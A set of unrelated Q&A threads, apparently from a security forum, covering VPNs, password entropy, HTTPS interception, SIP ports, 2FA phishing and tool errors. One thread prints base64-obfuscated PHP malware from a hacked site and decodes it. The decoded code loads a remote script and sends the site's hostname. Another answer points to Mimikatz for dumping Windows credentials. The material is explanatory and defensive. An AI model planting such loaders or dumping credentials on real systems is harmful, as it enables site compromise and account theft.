How to properly test that an OpenVPN connection is secured? I have a router (ASUS RT-AC66U) with an embedded OpenVPN server. I'm able to successfully connect to the OpenVPN on the router, as well as, access internal services in my home network; However, Whenever I look up my IP address I still have the IP address of the location where I am currently connected (i.e. 250.456.12.86 at Coffee House) instead of my home network. With that said, the "advance settings" on my server (see image below) has a option called "Direct Clients to redirect internet traffic" and marked as "No". According to my research, allowing this option slows down network performance as it routes traffic from the coffee house back into your home network. So really, How am I secure If I still show the IP address of the coffee shop? and how can I test that my connection is encrypted (and it really looks like garbage) if someone in the coffee house decides to sniff my traffic?

Some background: The reason why I ask this is because the company that I work for also has a VPN implementation but when I'm connected to theirs my IP address is that of my workplace network.

It sounds like what you have there is a VPN option known as "split tunnelling" set-up. In this configuration, traffic for your home network is directed over the VPN and all other traffic goes straight to its destination.

If your goal is to protect all your general traffic from sniffing attacks in the coffee shop or other location that you access it from, you'll need to route all your traffic over the VPN (which as you say, may slow things down).

Depending on the resources you have, another option would be to set up a remote desktop style machine in your home network, then use the VPN to get to that system and access the Internet using that machine.  This would have the effect of protecting your traffic from coffe shop based sniffing, whilst avoiding some of the slow-down from sending all web traffic over a VPN


Possible public/private identity recovery after compromise without a centeral authority? I’ve been thinking about P2P systems using asymmetric keys and wondering if there is anyway to recover an identity in the event it was compromised using some kind of web-of-trust.

This seems to be a large issue compared to a regular system (using a central authority) that can remove the intruder's access and restore control of the account to the real owner (Digicert, facebook, twitter, etc...).

Possible Peer-run Certificate Authority Design

What if a master key pair was generated by a user and then used to create a subkey. Then using 16+ random bytes the master keys private component could be encrypted. The public and encrypted private key parts can be stored on the network publicly. The public part of this master key would be the root identity for that user.

The owner could choose 5+ nodes on the network (friends?) to store parts of the passphrase used to encrypt the master key private component and then erase it's knowledge of those bytes.

The subkey would be the active user identity (with it's own AES password protecting the private part). Should this client get phished, forget their password, or someone steal their sub-key private component, we could use the peers to restore the master key and revoke this subkey. Then we could generate and sign a new subkey.

I'm not sure how this would work other than the client sending a request to each node and them verifying the client though some out-of-bands way (phone call? Text?) before sending their part of the master key password.

Would this work? Are their any existing solutions to this problem?

You could try to mimic Certificate Revocation Lists. That means that each member of the network could publish its public key on a site they manage. But as you have no global authority, I cannot imagine a way to certify the current public key. Said differently, if an attacker manages to hack the site displaying the public key, they could impersonate the user on the network by presenting a new key.

If there were out of band ways of exchanging information (phone ?) we could imagine that each current public key should be signed by another user from the network. In that case, the attacker should hack more than one site to be able to impersonate a single user, but it would lead to rather complex processes...


Is there any way of getting current user's password in Windows 10? I'm trying to find a way of getting my current user password in plain text, is it possible?

I've seen here a way of doing it on Win7 but it's not working for Win10.

If it's not, could I, at least, read the password hash somewhere just like you can do in /etc/shadow on Linux?

Edit: I found this interesting post talking about this same matter and being able to do it, though it's a bit old, could this still be possible?

Yes, all of that in your article should still work on Windows 10.  Here is another great resource on using Mimikatz that I have found helpful: https://adsecurity.org/?page_id=1821.

One note though, Windows 10 Enterprise has the availability of Credential Guard.  If the system is running Enterprise version and has Credential Guard enabled, the hashes are not currently accessible to the best of my knowledge.

Plain text? Simply, in Windows 10, no.  In Windows 7, WDigest is still enabled by default so passwords ARE horrifically cached in plain text.  In Windows 10, that is gone by default.  Ref: https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/


Are there significant problems with a password generation pattern using groups of alternating consonants/wovels? I'm using a password manager to store unique passwords for all my accounts. Most of the passwords are auto-filled, auto-typed or can be copied and pasted, but occasionally, I have to type them manually (e.g. in-game accounts, certain mobile apps/services, etc.).

Since passwords like VeS3XPTUs3w4PN8xGdmN can be a pain to type correctly manually, I have played around with password generator patterns in order to find something that's easier to "buffer" in memory while typing. I find that phrases that can be pronounced are much easier to remember than unpronouncable strings like the above.

For example, pattern that's easier to remember might be punctuation-delimited groups of alternating consonants and vowels:

vudu:ARUD;raxu,URAB:6527
give;ALEZ,jabu.ACUP,4722
kuge.UTUF,xura;EVEG.7334
kiro.AVAJ.vovo:AHAY;4786

I realize that any pattern will make the passwords easier to crack if an attacker figures out the pattern. For the examples above, I would guess that

all the letter groups could just as well be lowercase, since the number of combinations are the same and whether a group is uppercase or lowercase is explicitly given by the pattern
the number group at the end would be better as another letter group, since the pattern explicitly states whether it's numbers or letters, and a letter group following the pattern above would have (slightly) more combinations

In other words, the following examples might be a bit harder to crack for an attacker knowing the pattern:

vapu-dapu-fato-sovu-gazi
mipi-rodo-qiba-tiwu-cihe
qana-jeru-hibu-toka-xixu
fuca-kigu-moka-koxu-yopu

At the same time, including both lowercase, uppercase, and numbers will make them more difficult to brute-force. Then again, if the passwords are this long, the last group of examples above might be sufficient anyway.

Is there anything I should know about before using such patterns for generating passwords? Specifically, could (or should) the pattern be improved, and could it be simplified without losing significant security (or alternatively, could one just as well use a nonsense sequence of real words)?

Calculating entropy for the vapu-dapu-fato-sovu-gazi pattern

Let's do some math for the following kind of pattern:

  vapu-dapu-fato-sovu-gazi

Assuming there are five vowels, 'a', 'e', 'i', 'o', 'u', and 21 consonants, and you always start with a consonant, you can build 21 * 5 * 21 * 5 (11025) unique four-letter-words. Replacing the last group with a four-digit random number yields 10000 instead of 11025 possibilities for the last group.

If you paste 5 of these words together, you get 11025⁵ possible passwords (I'm ignoring the dashes because if the generator pattern is known, they don't add any security).

This gives you a password search space of size 162889462677744140625. That's equal to 67 bits of entropy, if you choose your consonants and vowels in a completely random fashion.

67 bits are not great, but they're much, much better than your average password entropy. Assuming a well-funded attacker who has the resources (botnets?) of one million computers available which can each check one million passwords a second, it will take four and a half years to exhaustively search the password space, and on average a bit more than 2 years to find the correct password.

If an attacker was ignorant of your password scheme and simply tried every possible string of 24 characters, it would take much longer.

Is 1012 guesses per second reasonable?

To give a bit of context to the above assumptions about the attacker: One million password guesses a second per machine is easily doable today on GPUs if the password is protected with a very weak hash function, such as MD5 (and the old Windows LM hash is so weak that you can reach a few billion guesses a second - hashcat parlance is 'Megahashes' and 'Gigahashes' per second...) . It's not feasible when the password is protected with strong password hash functions such as bcrypt, scrypt etc. Depending on the configuration, you might get anywhere between one hash  up to a few kilohashes per second. Botnet sizes of one million zombies are optimistic for an attacker (the very large Mirai botnet, which enslaved IoT devices which wouldn't work very well as password crackers, consisted of about 100'000 devices), most botnets are smaller. Finally, having a botnet run a million CPUs or GPUs at, say, 20% capacity cracking passwords for two years non-stop would probably get someone's attention sooner or later.

If you're not happy with these assumptions, I'd suggest the following: Imagine the attacker you want to protect against. See what resources he'd need to achieve his goal, and then make an educated guess about whether he can afford these resources. For example, coming up with the resources needed to do 1012 guesses a second (renting several large botnets for two years or buying and running the hardware yourself) is probably out of the reach of everyone but large corporations, organized crime and nation states.

What if you used real words?

  could it be simplified without losing significant security, or alternatively, could one just as well use a nonsense sequence of real words

Let's consider using real words instead of made-up ones. Random words are much harder to memorize, and if you used real words from a lexicon that contained, say, 7000 words, the resulting password would still contain 63 bits of entropy. That's 16 times weaker, but you could easily offset that by adding another word, which would yield 76 bits of entropy and, assuming the same attacker, protect you for over two millenia if technology didn't advance in that time. Again, it is absolutely crucial to choose the words randomly. Just thinking of a few words that come to your mind is not good enough. Also, you'd have to take care not to pick 5 very short words, because then you'd open yourself to a brute-force attack on the resulting short string.

Check out the obligatory xkcd, and Diceware for word lists. Or if you're too lazy, you can buy a password for two bucks from this girl in NYC :-)


What can you do with a sufficiently complex quantum computer against Elliptic Curve Cryptography? I've heard that a modified version of Shor's algorithm can "break" ECC. But what does this mean specifically? What are all the things you can do with this algorithm? Can you:

decrypt messages encrypted with the private key? Does the original message have to be in a certain recognizable format in order to do this?
encrypt messages to look like they were encrypted with the correct private key (without actually knowing the private key)?
forge signatures?
Discover the actual private key via just an encrypted message?
Discover the private key via just a signature and the message it signs? Just the signature?
More?

And are there other ways of "breaking" ECC that have additional properties?

You can take a public key, and compute the corresponding private key. This private key is identical to the private key the owner has. All operations are possible and are indistinguishable, as the keys are the same.


What does this PHP injected-code do? I've just found out that all of my websites on one of my server has been hacked. Some seemingly malicious code was injected into all index.php files:

/*EngineWork*/
if(!defined("FDSJERIUI234FSDF")){
    @ob_start();
    @define("FDSJERIUI234FSDF",1);
    @ini_set("display_errors",0);
    @error_reporting(0);
    echo base64_decode("PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPi8qQGNjX29uIApmdW5jdGlvbiBnbnd6aigpewogdmFyIGt1bnR3ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7IGt1bnR3LnNyYyA9ICdodHRwOi8vYmxvbmRlc2NyaXB0LmNvbS9kYXRhL2pxdWVyeV8xLjcuNC5taW4uanM/cj0nK3dpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXS5hcHBlbmRDaGlsZChrdW50dyk7Cn07dmFyIGdkbXp2ID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXtpZihkb2N1bWVudC5ib2R5ICE9IG51bGwgJiYgdHlwZW9mIGRvY3VtZW50LmJvZHkgIT0gJ3VuZGVmaW5lZCcpe2NsZWFySW50ZXJ2YWwoZ2RtenYpO2dud3pqKCk7fX0sMTAwKTtAKi8KPC9zY3JpcHQ+");
}/*EngineWork*/

What does this code do? Is there a known-attack like this which I should read about to prevent it from coming back?

if you run the base64 decode, you get:

<script type='text/javascript'>/*@cc_on
function gnwzj(){
 var kuntw = document.createElement('script'); kuntw.src = 'http://blondescript.com/data/jquery_1.7.4.min.js?r='+window.location.hostname; document.getElementsByTagName('head')[0].appendChild(kuntw);
};var gdmzv = setInterval(function(){if(document.body != null && typeof document.body != 'undefined'){clearInterval(gdmzv);gnwzj();}},100);@*/
</script>

It injects extra code onto your site.


Why isn't it possible for a third party to decrypt HTTPS traffic? I really don't know much about HTTPS. But I always hear people saying that it is 100% safe and bullet proof.
My question is: Is that true or even possible.

I mean there are lots of tools that allow you to read the internet traffic of all other devices that are in the same network as you.
So how do certificates and encryption help to make this bullet proof?

Wouldn't it always be possible to decrypt the HTTPS packets just like the client does?
I mean there must be some kind of key that both parties (Client and Server) must be aware of to be able to en/decrypt data properly, so whoever creates the key has to send it to the other party. Shouldn't a network sniffer be able to pick that up?

Well, in the real world it actually is possible to perform a man in the middle attack on SSL, called ssl stripping. This is the easiest example. It hinges on the fact that the majority of traversal to HTTPS pages happens as the result of a redirect from an insecure plain HTTP.

This is the type of a attack you are describing when you ask if it would be possible to decrypt a packet just like a client - the answer is yes, by putting yourself in between the client and server and negotiating your own SSL connection with each of them. while this attack is old and easy to mitigate, it's still very dangerous and direct. Here's the talk where the attack was first presented - http://vimeo.com/50018478

A different form of MITM attack but just an example of how these kind of attacks can effect me and you: https://productforums.google.com/forum/#!topic/gmail/3J3r2JqFNTw/discussion and http://googleonlinesecurity.blogspot.co.uk/2011/08/update-on-attempted-man-in-middle.html

There are also a whole suite of attacks at the different components that make up TLS/SSL, such as the RC4 stream cipher. More here: https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf

EDIT: for an excellent technical description of how SSL actually works, which puts all my above post in context, see here: How does SSL/TLS work?

EDIT: Above where i said it was possible to mitigate MITM against SSL, i didnt give a resource, making that a bad answer :( See here for more details on how SSL can be made more robust: What is certificate pinning?

FINAL EDIT: This is also an excellent answer to your original question https://stackoverflow.com/questions/14907581/ssl-and-man-in-the-middle-misunderstanding


Pros and cons of multitenant firewall provided by ISP I was reading a bit about firewalls, and I came across this story type questions, but I don't think I fully know how to answer it, or grasp the implications. The question can be seen below:

  You are the person in charge of the IT of a company, which manages and
  uses a firewall of its own until now. This firewall is located at the
  company premises. Now your ISP offers a private firewall-context on a
  central large firewall at the ISP. This firewall is multitenant, so
  that every company can administer a firewall-context of its own. Which
  considerations are important for the decision-making and which
  parameters are of interest and must be taken into account to come to a
  well-founded decision?

I totally agree that the question is opinion based, but I think that's also one side of security, to weight pros and cons, to make trade-offs. Anyway, as long as I know if it is multinenat there is actually no way that other tenants can break my configuration, right? So, if this is not actually a risk, what can be some risks or pros/cons of this approach?

there is actually no way that other tenants can break my configuration, right?

No, you don't know that from the information provided, it is only implied.

Nor do you know what is between the firewall and your network.

But the question posed does not say what choices/questions your decision is supposed to address e.g.

does configuring a policy on the providers firewall pose any additional risk to your network?
does using the providers firewall make your own firewall redundant?
coke or pepsi?

  what can be some risks or pros/cons of this approach?

As per above, which approach? Assuming you mean retiring your local firewall, then (in addition to the to the previous points about config and what else is behind the firewall....

Management of the firewall platform (patching, monitoring, alerting)
Has the providers network design been audited to verify the firewall is effective (no back doors)
Do you want to be able to capture and analyze event information from the device? Can you? How is this provided?
Do you have the skills available to configure the providers firewall? Is it an off-the-shelf product you get training or independent consultancy for?
what is the SLA from the provider?

notification about scheduled maintenance
planned vs unplanned downtime

How much does it cost?
What would be the impact / likelihood of changing providers?
Is there automated change management around the configuration (e.g. notification of config changes, config version control at the provider)
are there routes into your network covered by current local firewall which are not covered by the provider firewall


If a router has port 5060 open, and I know that there is unencrypted SIP traffic going through this port, how could one take advantage of this An nmap scan against an IP address shows that port 5060 is open. I know that 5060 indicates that this is SIP traffic. Also, 5060 indicates that this is unencrypted traffic, where if the port was 5061, then the traffic would be encrypted.
I also have a hunch that 5060 tunnels through to a PBX-based phone system (possibly Asterisk). I think that the router is listening on 5060 and forwarding any inbound traffic pointed at port 5060 at this IP address to this Linux-based phone system for the purpose of receiving calls.
Calls made come out through port 5060 at this IP address.
What problems would this setup cause from a security point of view? How could an attacker take advantage of this information?

port 5060 is normally assigned to SIP traffic. It might or might not be used for SIP however. A simple nmap scan to this destination should probably reveal much more, for example here's an output from a OS fingerprint nmap scan to a voip adapter

nmap -v -O <ip_address>
...
Host is up (0.0026s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0E:08:CA:**:** (Cisco Linksys)
Device type: VoIP adapter
Running: Sipura embedded
OS details: Sipura SPA-1001 or SPA-3000 VoIP adapter
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental

Some implementations of SIP TLS appear to use port 5061 by default, but the reverse is not necessarily true. i.e. seeing port 5061 doesn't necessarily mean it's encrypted. I know of a few SIP installations where various ports are used for (standard) SIP, and they tend to range between 5060-5070... Again, those ports are completely arbitrary. You can choose to run a service on pretty much any port you'd like. So I can, e.g. run SIP TLS on port 80 and plain SIP on port 23 if I choose to... Until you do some kind of a probe / scan, you won't be able to know with a high-enough degree of certainty.

As far as VOIP / SIP security - there are probably many tools for scanning and potentially exploiting VOIP. A simple search revealed those items:

http://www.voipsa.org/Resources/tools.php
http://www.hackingvoip.com/sec_tools.html
http://blog.sipvicious.org/

and I'm sure you can find many others to experiment with.


Evil certificate authority in public-key-infrastructure Alice goes to the certificate authority (CA) and registers her public key for signature verification. She gets a certificate for this from the CA. Bob requests Alice' public signature verification key from CA. CA returns Alice' key, certified by CA's signature.

Now imagine CA sends a fake public key to Bob which not belongs to Alice (instead of sending Alice' real public key). CA also sends a message to Bob, signed with the corresponding fake private key, claiming this message comes from Alice. At a later time Bob will probably notice that the message is weird and ask Alice if the public key he got from CA really belongs to her. Then both can go to a judge, show the two different certified public keys and the CA can be convicted.

Is my understand correct so far?

My question: What if Alice never registered a public key at CA but the CA claims so (probably fakes the registration procedure and fakes Alice' handwritten signature)? Since then there are no two contradictory certificates from CA, how can the CA be convicted? Am I missing something, or does than an (probably effortful) analysis of Alice original handwritten signature and the faked one has to take place?

As Rook said, the statement "Bob requests Alice' public signature verification key from CA. CA returns Alice' key..." is incorrect.

Public Key Infrastructure does not require a CA to serve as a public key server.

What would actually happen is that Bob would ask Alice for her public key. Alice would send her public key directly to Bob, signed by the CA. Bob would use the CA's public key to verify the CA's signature and Alice's public key.

Yes, it is possible for a CA to issue a certificate in error. This could be deliberate or accidental. A government agency could compel such an action (or in some places, CAs are run by the government), or an identity thief could perhaps achieve that outcome.

This is a design "function" of PKI (I'm avoiding the use of the terms "flaw" or "feature"!) - it allows a third party to confirm identity for people who haven't previously met, at the cost of having to trust a third party.

Carl Ellison and Bruce Schneier identify this as the #1 problem in their article from 2000 - "Ten Risks of PKI: What You're Not Being Told About Public Key Infrastructure"

  Risk #1:  "Who do we trust, and for what?" There's a risk from an
  imprecise use of the word "trust."  A CA is often defined as
  "trusted."

  In the cryptographic literature, this only means that it handles its
  own private keys well.  This doesn't mean you can necessarily trust a
  certificate from that CA for a particular purpose: making a
  micropayment or signing a million-dollar purchase order.

  Who gave the CA the authority to grant such authorizations?  Who made
  it trusted?

  A CA can do a superb job of writing a detailed Certificate Practice
  Statement, or CPS -- all the ones we've read disclaim all liability
  and  any meaning to the certificate -- and then do a great job
  following  that CPS, but that doesn't mean you can trust a certificate
  for your  application.  Many CAs sidestep the question of having no
  authority to  delegate authorizations by issuing ID certificates.
  Anyone can assign  names.  We each do that all the time.  This leaves
  the risk in the  hands of the verifier of the certificate, if he uses
  an ID certificate  as if it implied some kind of authorization.

  There are those who even try to induce a PKI customer to do just that.
  Their logic goes: (1) you have an ID certificate, (2) that gives you
  the keyholder's name, (3) that means you know who the keyholder is,
  (4) that's what you needed to know.  Of course, that's not what you
  needed to know.  In addition, the logical links from 1 to 2, 2 to 3
  and 3 to 4 are individually flawed.  [We leave finding those as an
  exercise for the reader.]


Android Rooting and Evil Maid Attacks I'm trying to learn more about full disk encryption (in the context of a Linux based server) and what schemes offer true security and which only offer the illusion of security.

As I understand it, most (all?) software based full disk encryption setups require some piece of software (often the boot loader) to remain unencrypted to kickoff the decryption process. The result of this is that an "Evil Maid" type attacker can replace the unencrypted piece of software with a modified version to compromise the security of the system.

I have seen a couple solutions to this problem:

Put /boot on a flash drive which you keep with you at all times. Of course, in the context of a server, if you need to reboot while you're away, you're SOL.
Use hardware based FDE. But, the BIOS needs to support collecting an ATA password which few do. And again, rebooting would require your physical presence to enter the password.

Which brings us to rooting Android phones. Some phones seem to be very difficult, if not impossible, to root. I know very little about the process, but why we can't just perform an Evil Maid attack on our phones? We have 100% physical control of the devices.

Obviously, it's not this simple, but what am I missing? Could the same techniques that are used to lock down Android phones be applied to a server?

Have a look at Android Verified Boot. It's available since Android 4.4 and prevents tampering with the bootloader (via hardware root of trust) and warns you if unauthenticated changes have been made.

I don't know where it is available and how easy it is to use. This is up to the vendor. It probably won't work with custom ROMs unless the vendor implemented Class B meaning the device can be unlocked and flashed (boot state ORANGE, see https://source.android.com/security/images/verified_boot.png).


Correlation between server request and response time and built-in php functions Is there any way to identify which built-in PHP function is used in some given script only by sending a request and receiving a response from the remote server?

To keep it simple we might assume that it is very simple PHP script which contains only one PHP function. I understand that it seems rather impossible to accomplish that since we might have an overlap of different effects which might delay the request/response time (network, server itself, ..) and make it impossible to find such a correlation.

But maybe it is anyhow possible to create an extremly limited case where it is still possible to reliably identify which PHP functions are used in a given script. It must not be necessarily a PHP scripting language.

I'm searching for different ways to fingerprint a PHP version running on a server.

That's not possible I think. The response may change because a lot of factors: server hardware and resources, server load, connection status, etc.

I think is not possible even in the extremely case of reproduce exactly the same script in same hardware. You'll never get the same miliseconds of response. Maybe even micro electric variations can affect.


Open TCP port on cable modem TG1672G TG1672G cable modem in bridge mode, the modem's built in router still gets a IPv4/IPv6 public address (and devices connected to the modem can get public IPv4/IPv6 addresses too). This modem is Intel PUMA6+RT3593.

nmap shows 9081/tcp open     unknown.

Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.

How can I find out what this port is used for? The modem in bridge mode shouldn't get a public IP address to begin with, not to mention an opened port.

TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=11/18%OT=9081%CT=1%CU=33663%PV=N%DS=3%DC=I%G=Y%TM=564C
OS:6CB8%P=x86_64-pc-linux-gnu)SEQ(SP=C4%GCD=1%ISR=CC%TI=Z%CI=Z%TS=7)SEQ(SP=
OS:C4%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3
OS:=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=M5B4ST11NW0%O6=M5B4ST11)WIN(W1=2D40%W2=2
OS:D40%W3=2D40%W4=2D40%W5=2D40%W6=2D40)ECN(R=Y%DF=Y%T=40%W=2DA0%O=M5B4NNSNW
OS:0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port9081-TCP:V=6.40%I=9%D=11/18%Time=564D259B%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,5,"0\n0\n\n")%r(FourOhFourRequest,5,"0\n0\n\n")%r(OfficeScan,
SF:5,"0\n0\n\n")%r(apple-iphoto,6,"9003\n\n")%r(metasploit-msgrpc,5,"0\n0\
SF:n\n")%r(hazelcast-http,5,"0\n0\n\n");

Use Nmap's service version detection. Using a recent version of Nmap (so that you have the most complete database of probes and response matches), run:

nmap -sV -p 9081 1.2.3.4

And the result should be shown. If the port responds to any of Nmap's probes, you will either get a positive match or the response will be shown in a blob at the end of the scan with a request for you to submit it to Nmap for further identification. You can often get some idea by looking at the blob what kind of service is running, even if Nmap doesn't really know.


What is the value of an XHR blocker? My question is not specific to uMatrix, but is framed from that PoV:

background info: uMatrix is a browser extension whose main interface offers a rectangular grid of permissions (allow/inherit/block), with domains and subdomains down the side and the following options across the top: Cookies, CSS, Images, Media (a/v & plugins), Scripts, XHR (including Fetch & WebSockets), Frames, Other.

Let's say I'm visiting the example.com website, which unfortunately calls a variety of URLs from maliciousthirdparty.net.

If my browser blocks scripts, media & frames from maliciousthirdparty.net, but allows XHR, does that permission by itself allow anything to happen at all? Can XHR be called from static HTML, CSS, cookies, or images?

Conversely, if my browser blocks XHR, but allows scripts or plugins, does that prevent maliciousthirdparty.net from achieving results that could not already be accomplished by another method instead (e.g. createElement('script'))?

In other words, what is an example where a separate XHR permission setting could be important?

It may be possible for example.com's JavaScript to make XHR requests to maliciousthirdparty.net. By default this is blocked due to the same-origin policy, but maliciousthirdparty.net can send CORS headers to allow the requests.

If you block XHR requests to the domain while allowing scripts to be loaded from it, it may make it more difficult for a malicious script to exfiltrate data. This could be useful for example if you don't trust the CDN hosting a JavaScript library that example.com requires to function properly.


connecting a secure computer directly to the internet without a router If you have a fairly secure computer how dangerous is it to connect to a modem directly without a router in between.

Let's say the computer is running Debian as a host and Whonix in VirtualBox, a VPN on host and has the appropriate firewall rules in place.

Would it still be important both for security and the integrity of Tor functioning properly to have a router (DD-WRT) in between the modem and the computer to act as a firewall and an added layer of protection or is it irrelevant.

This is all assuming nothing else is needed, no network sharing or VoIP or VPN hosting or anything like that, simply internet access to the computer which the modem by itself can provide.

What your ISP provides is a public IP address. When you use a home router, the router assumes that IP address, and forwards (with NAT) the connections from your actual computer. Any connection attempt to your IP address (from the outside) ends on the router, who will, generally, simply drop them.

If you do not use a home router, then your computer will own the public IP address. Connections from the outside will reach your computer directly. As long as your computer does not run services which can be contacted from the outside, and its IP stack is not bug-riddled, then it should be equally safe. After all, a home router (especially one running DD-WRT) often uses the Linux kernel, and therefore is no more secure than your Debian system.

Arguably, you may (and should) check for security updates for your Debian system on a daily basis, much more often than you update your DD-WRT router, so one may say that plugging the Debian machine directly to the modem is more secure than using a home router.

Just make sure that you know what runs on your machine. Use netstat -an to list the currently open network services: you are interested in TCP and UDP services bound to 0.0.0.0 (IPv4) or :: (IPv6); 127.0.0.1 and ::1 are "localhost" and thus do not denote Internet-facing services.


What are the differences between credential stuffing and password spraying? Wikipedia describes credential stuffing as

  a type of cyberattack where stolen account credentials typically
  consisting of lists of usernames and/or email addresses and the
  corresponding passwords (often from a data breach) are used to gain
  unauthorized access to user accounts through large-scale automated
  login. Credential Stuffing attacks are made possible because many users will reuse the same password across many sites

Interestingly there doesn't appear to be Wikipedia article on password spraying. Double Octopus describes it as

  Password spraying is an attack that that attempts to access a large
  number of accounts (usernames) with a few commonly used passwords. Password spraying is an attack that that attempts to access a large number of accounts (usernames) with a few commonly used passwords.

It seems that password spraying and credential stuffing are similar in the objectives and approach. It isn't clear as to the discrete difference between the terms. Are there any and if yes, what would these be?

Credential stuffing - use a bunch of usernames and passwords which are known to be associated with them to try and access multiple sites
Password spraying - use a list of usernames and some common passwords (which aren't known to have been used by someone with the usernames being sent) to try and gain access to a single site

The key difference is whether the password is known to be associated with the account or not, and whether the attack aims to get access to a single site, or to multiple sites.


DMZ to Virtualbox VM with pfSense It is safe to make a DMZ to a VirtualBox VM that has pfSense installed with two network cards one on bridge and one on intnet. The DMZ would do this by indicating the ip of pfSense to the router.

Edit: with safe I mean if the other computers on the LAN, for example the physical computer are in danger of suffering an intrusion through virtual machines.

If I understand this correctly you forward any traffic originating from outside to a pfSense VM (192.168.1.3/10.0.0.3) which then filters it and forwards it to some inner VM (10.0.0.10). This means

An attacker which is able to heavily compromise the inner VM 10.0.0.10 or the pfSense VM 10.0.0.3 might be able to compromise the VM host through vulnerabilities in the virtualization layer. See these questions for more details on this.
Since pfSense is bridged into the internal network it is possible to access internal machines (VM host and others) from the pfSense VM and depending on the configuration of pfSense also from the VM behind pfSense (10.0.0.10). This way even an unprivileged user on the inner VM (10.0.0.10) might be able to attack the internal network (192.168.1/24) including the router. Explicit firewall rules on pfSense might be used to restrict which networks the inner VM can access.


Does 2FA Help Prevent Unauthorized Access in Phishing Attacks? Given

Attacker is targeting a user of bank.com.
bank.com uses SMS or Google Authenticator 2FA, where the user enters the 2FA code into a form.

Scenario

Attacker registers domain name baank.com
Attacker creates a web page that scrapes the login page of bank.com and presents it from the domain baank.com (or working as a MITM proxy to send user supplied details back to bank.com if needed).
Attacker sends a phishing email to the user getting them to log in to baank.com instead of bank.com.
User fills in their username, password, and 2FA (as per usual).
Attacker now has the users credentials as well the 2FA that the user supplied.
Attacker immediately (maybe through a script) logs in to the bank account since he has the username, pass, and 2FA.

Question
Am I missing something or does user-entered 2FA not help in this scenario?

2FA alone does not help in this scenario. If the 2FA input screen on bank.com does not have other protections, like TLS, pinning/HSTS, MITM protection, and/or verify the client or detect login anomalies, then there is a vulnerability.
This is a case where an integrated password manager in the browser can help the end-user, by not providing the credentials to begin with.
Other types of 2FA, besides user-entered codes, offer greater protection.


What is the difference between misuse and abuse cases in security? I know that misuse cases are use cases which help identify security requirements as they highlight the user's goal in misusing the system, but what exactly is abuse cases and what is the difference or these very similar to each other?

The nuance is subtle and not well-defined, but if you really want to make a distinction between misuse and abuse, then I'd say that abuse is "misuse with malicious intent".

E.g. running while carrying a powered chainsaw is misuse; doing so on purpose in a crowded mall is abuse.


What does this Hydra error mean? [ERROR] Not an Asterisk Call Manager protocol or service shutdown: 220 rblsmtpd.local

Above is the error I am facing while using hydra. Can somebody tell me what it means?

You are trying to attack a service that runs the Asterisk Manager Interface (AMI) protocol. For that reason, Hydra verifies that the server returns an appropriate banner that should look similar to Asterisk Call Manager/1.1. If it can't identify the banner, Hydra will abort the attack.

So the error simply means that Hydra couldn't verify that the target is using the Asterisk protocol and you are possibly attacking the wrong server/port or the target uses a different protocol.

This is the relevant part from the source code (hydra-asterisk.c):

  //banner should look like:
  //Asterisk Call Manager/1.1

  if (buf == NULL || strstr(buf, "Asterisk Call Manager/") == NULL) {
    /* check the first line */
    if (verbose || debug)
      hydra_report(stderr, "[ERROR] Not an Asterisk Call Manager protocol or service shutdown: %s\n", buf);
    hydra_child_exit(2);
  }


Any way to avoid man-in-the-middle over http If I have a web-page being sent over the Internet without encryption, anybody in the middle can change it. So if I put a public key of a server inside, the attacker can replace it with his own and decrypt the message sent by the client to the "server" (really an attacker).

How can I be sure that the communication is secure?

P.S. please don't tell me about SSL/TLS. It is all about trust to a third-party CA.

P.S. please don't tell me about SSL/TLS.

TLS is the solution. It ensures that you are talking with the holder of the private key corresponding to the certificate. It's made for this purpose. It's tested for this purpose. It's built explicitly to withstand MiTM-attacks.

If you distribute certificates ahead of time, you can ensure that there's no man in the middle with TLS. The CA-infrastructure is basically this distribution.

  It is all about trust to a third-party CA.

Then don't use a thirdparty CA - roll your own, and take the pains of distributing certificates manually.

Or roll with HPKP, which basically validates that the public key (and thus the private key) has not changed, which means a fraudulent CA can't replace the certificate.


Would this RESTful login system be secure? So I have been thinking about a way to make a secure restful API for application logins.

This is what my teacher and I have come up with:

The Client (swift program) initializes the connection with the
server.
The Server returns a "shared secret" (ex. +40) and a hash of a
random string of letters and numbers.
The Client then hashes the Username and Password (separate) and
sends it back with the hash of: hash + "the shared secret".
After the Server sends data (step 2) the server hashes [hash +
"shared secret"] and then updates it in the db
The Server then receives the hashed value from the Client and checks
the db to see if it matches
The db will also have a timestamp that if not updated frequently
enough there will be a function that runs through the db and drops
the items that are no longer used.
For every request after the login the bearer token is sent.

The bearer token will follow this formula:
Request verification token = hash [ (original hash) + (shared secret) * (# of requests) ]

Is this sufficient to secure against Man in the Middle attacks and client spoofing, or basically anything that could let the attacker impersonate a user?

No, you're actively harming usability with no gain to security.

This sounds like a bad case of Security Theater*!

